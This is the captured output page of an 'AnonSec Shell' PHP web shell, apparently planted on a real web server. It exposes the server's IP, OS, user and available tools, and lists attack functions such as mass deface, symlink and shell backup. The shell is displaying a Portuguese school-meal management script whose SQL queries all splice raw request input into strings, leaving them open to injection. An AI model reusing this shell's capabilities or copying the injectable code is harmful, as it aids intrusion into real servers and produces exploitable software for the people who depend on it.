AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/sgae/obidos/form/escola/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/html/sgae/obidos/form/escola/escola_a.php
<?php
    /**
     * Copyright (c) 2017.
     * O sistema está protegido por copyright.
     * Todo o copyright ou outros direitos de propriedade intelectual presentes no sistema, imagens, som, software e outros conteúdos do site são propriedade de Ralp Alves
     * Bezerra.
     * É permitida a pesquisa no sistema e a reprodução de excertos através de impressão ou distribuição para outras pessoas, mas em todos os casos para fins não comerciais.
     * Apenas é permitido o uso dos conteúdos do sistema para utilização pessoal. Nenhuma parte do sistema poderá ser reproduzida para ser vendida ou distribuída para ganhos
     * comerciais nem poderá ser modificada ou incorporada em qualquer outro trabalho, publicação ou site tanto no formato electrónico, como transferência para qualquer outro
     * site. Nenhuma outra licença ou direitos relacionados com o site são concedidos, sem autorização expressa do autor.
     */
    
    /**
     * Created by PhpStorm.
     * User: ralpb
     * Date: 20/09/2017
     * Time: 00:46
     */
    
    
    $_login       = $_SESSION['login'];
    $_usu_admin   = $_SESSION['usu_admin'];
    $_cod_usuario = $_SESSION['cod_usuario'];
    $_nome        = $_SESSION['nome'];
    
    $acao   = $_GET['var'];
    $id     = $_GET['id'];
    $id_usu = $_GET['id_usu'];
    
    
    if ($acao=='cadastrar') {
        $nome          = strtoupper(tirarAcentos($_POST['nome']));
        $inep          = $_POST['inep'];
        $telefone      = $_POST['telefone'];
        $distrito_id   = $_POST['distrito_id'];
        $rota_id       = $_POST['rota_id'];
        $tipo_id       = $_POST['tipo_id'];
        $municipio     = strtoupper(tirarAcentos($_POST['municipio']));
        $endereco      = strtoupper(tirarAcentos($_POST['endereco']));
        $bairro        = strtoupper(tirarAcentos($_POST['bairro']));
        $uf            = strtoupper(tirarAcentos($_POST['uf']));
        $diretor       = strtoupper(tirarAcentos($_POST['diretor']));
        $diretor_tel   = $_POST['diretor_tel'];
        $diretor_email = $_POST['diretor_email'];
        $cod_usuario   = $_POST['cod_usuario'];
        try {
            $grava = $conn->prepare("INSERT INTO escola
                                                 (nome,inep,telefone,distrito_id,
                                                  rota_id,tipo_id,municipio,endereco,bairro,uf,
                                                  diretor,diretor_tel,diretor_email,
                                                  cod_usuario)
                                                VALUES
                                                 ('$nome','$inep','$telefone','$distrito_id',
                                                  '$rota_id','$tipo_id','$municipio','$endereco','$bairro','$uf',
                                                  '$diretor','$diretor_tel','$diretor_email',
                                                  '$cod_usuario')");
            $grava->execute();
            $id = $conn->lastInsertId();
            $a->avisoSucesso('?page=escola/escola_e&id=' . $id, 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/escola_g', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='editar') {
        $esc_id        = $_POST['esc_id'];
        $nome          = strtoupper(tirarAcentos($_POST['nome']));
        $inep          = $_POST['inep'];
        $telefone      = $_POST['telefone'];
        $distrito_id   = $_POST['distrito_id'];
        $rota_id       = $_POST['rota_id'];
        $tipo_id       = $_POST['tipo_id'];
        $municipio     = strtoupper(tirarAcentos($_POST['municipio']));
        $endereco      = strtoupper(tirarAcentos($_POST['endereco']));
        $bairro        = strtoupper(tirarAcentos($_POST['bairro']));
        $uf            = strtoupper(tirarAcentos($_POST['uf']));
        $diretor       = strtoupper(tirarAcentos($_POST['diretor']));
        $diretor_tel   = $_POST['diretor_tel'];
        $diretor_email = $_POST['diretor_email'];
        $cod_usuario   = $_POST['cod_usuario'];
        $latitude      = $_POST['latitude'];
        $longitude     = $_POST['longitude'];
        try {
            $data  = date('Y-m-d h:i:s');
            $grava = $conn->prepare("update escola set
                                                nome          = '$nome',
                                                inep          = '$inep',
                                                telefone      = '$telefone',
                                                distrito_id   = '$distrito_id',
                                                rota_id       = '$rota_id',
                                                tipo_id       = '$tipo_id',
                                                municipio     = '$municipio',
                                                endereco      = '$endereco',
                                                bairro        = '$bairro',
                                                uf            = '$uf',
                                                diretor       = '$diretor',
                                                diretor_tel   = '$diretor_tel',
                                                diretor_email = '$diretor_email',
                                                cod_usuario   = '$cod_usuario',
                                                data_edicao   = '$data',
                                                latitude      = '$latitude',
                                                longitude     = '$longitude'
                                              WHERE esc_id=$esc_id");
            $grava->execute();
            $a->avisoSucesso('?page=escola/escola_e&id=' . $esc_id, 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/escola_g', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='excluir') {
        try {
            $a->avisoExcluir('?page=produto/produto_g', 'Deseja realmente desativar esse item?', 'Exclusão de registro', '?page=produto/produto_a&id=' . $id . '&id_usu=' . $id_usu . '&var=excluir');
            $data  = date('Y-m-d h:i:s');
            $grava = $conn->prepare("update itens set
                                                ativo         = '0',
                                                data_exclusao = '$data',
                                                cod_usuario   = '$id_usu'
                                              WHERE cod_item=$id");
            $grava->execute();
            $a->avisoSucesso('?page=produto/produto_g', 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=produto/produto_g', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='taco') {
        $id         = $_POST['cod_item'];
        $id_taco    = $_POST['cod_taco'];
        $itens_taco = $conn->query("select * from itens_taco WHERE cod_item=$id_taco");
        $it         = $itens_taco->fetch(PDO::FETCH_OBJ);
        
        try {
            $data  = date('Y-m-d h:i:s');
            $grava = $conn->prepare("update itens set
                                               cod_taco        = '$it->cod_item',
                                               tot_energia     = '$it->tot_energia',
                                               tot_carboidrato = '$it->tot_carboidrato',
                                               tot_proteinas   = '$it->tot_proteinas',
                                               tot_lipidios    = '$it->tot_lipidios',
                                               tot_fibras      = '$it->tot_fibras',
                                               tot_vitamina_a  = '$it->tot_vitamina_a',
                                               tot_vitamina_c  = '$it->tot_vitamina_c',
                                               tot_calcio      = '$it->tot_calcio',
                                               tot_ferro       = '$it->tot_ferro',
                                               tot_magnesio    = '$it->tot_magnesio',
                                               tot_zinco       = '$it->tot_zinco',
                                               tot_sodio       = '$it->tot_sodio'
                                              WHERE cod_item=$id");
            $grava->execute();
            $a->avisoSucesso('?page=produto/produto_e&id=' . $id, 'Vinculado com sucesso!', 'SGAE');
        } catch (PDOException $e) {
            $a->avisoErro('?page=produto/produto_g', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
    }
    
    if ($acao=='distrito') {
        $descricao = strtoupper($_POST['descricao']);
        try {
            $grava = $conn->prepare("INSERT INTO escola_distrito
                                                 (descricao)
                                                VALUES
                                                 ('$descricao')");
            $grava->execute();
            $a->avisoSucesso('?page=escola/distrito', 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/distrito', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
        
    }
    if ($acao=='rota') {
        $rota = strtoupper($_POST['rota']);
        try {
            $grava = $conn->prepare("INSERT INTO escola_rota
                                                 (rota)
                                                VALUES
                                                 ('$rota')");
            $grava->execute();
            $a->avisoSucesso('?page=escola/rota', 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/rota', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
        
    }
    if ($acao=='programa_esc') {
        $esc_id      = strtoupper($_POST['esc_id']);
        $programa_id = strtoupper($_POST['programa_id']);
        $alunos      = strtoupper($_POST['alunos']);
        $adesao      = strtoupper($_POST['adesao']);
        try {
            $grava = $conn->prepare("INSERT INTO escola_programa
                                                 (esc_id,programa_id,alunos,adesao)
                                                VALUES
                                                 ('$esc_id','$programa_id','$alunos','$adesao')");
            $grava->execute();
            $a->avisoSucesso('?page=escola/escola_e&id=' . $esc_id, 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/escola_e&id=' . $esc_id, '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
        
    }
    
    if ($acao=='programa') {
        $programa = strtoupper($_POST['programa']);
        $elemento = strtoupper($_POST['elemento']);
        try {
            $grava = $conn->prepare("INSERT INTO programas
                                                 (programa,elemento)
                                                VALUES
                                                 ('$programa','$elemento')");
            $grava->execute();
            $a->avisoSucesso('?page=escola/programa', 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/programa', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
        
    }
    if ($acao=='programa_e') {
        $id     = $_POST['id'];
        $idp    = $_POST['idp'];
        $alunos = $_POST['alunos'];
        try {
            $grava = $conn->prepare("UPDATE escola_programa set alunos='$alunos'
                                              WHERE esc_id=$id AND esc_prg_id=$idp");
            $grava->execute();
            $a->avisoSucesso('?page=escola/programa_e&id=' . $id, 'Operação realizada com sucesso!', 'SGAE - Alimentação Escolar');
        } catch (PDOException $e) {
            $a->avisoErro('?page=escola/programa_e', '<strong>' . $e->getMessage() . '</strong >', 'Problema no registro');
        }
        
    }

?>
Anon7 - 2022
AnonSec Team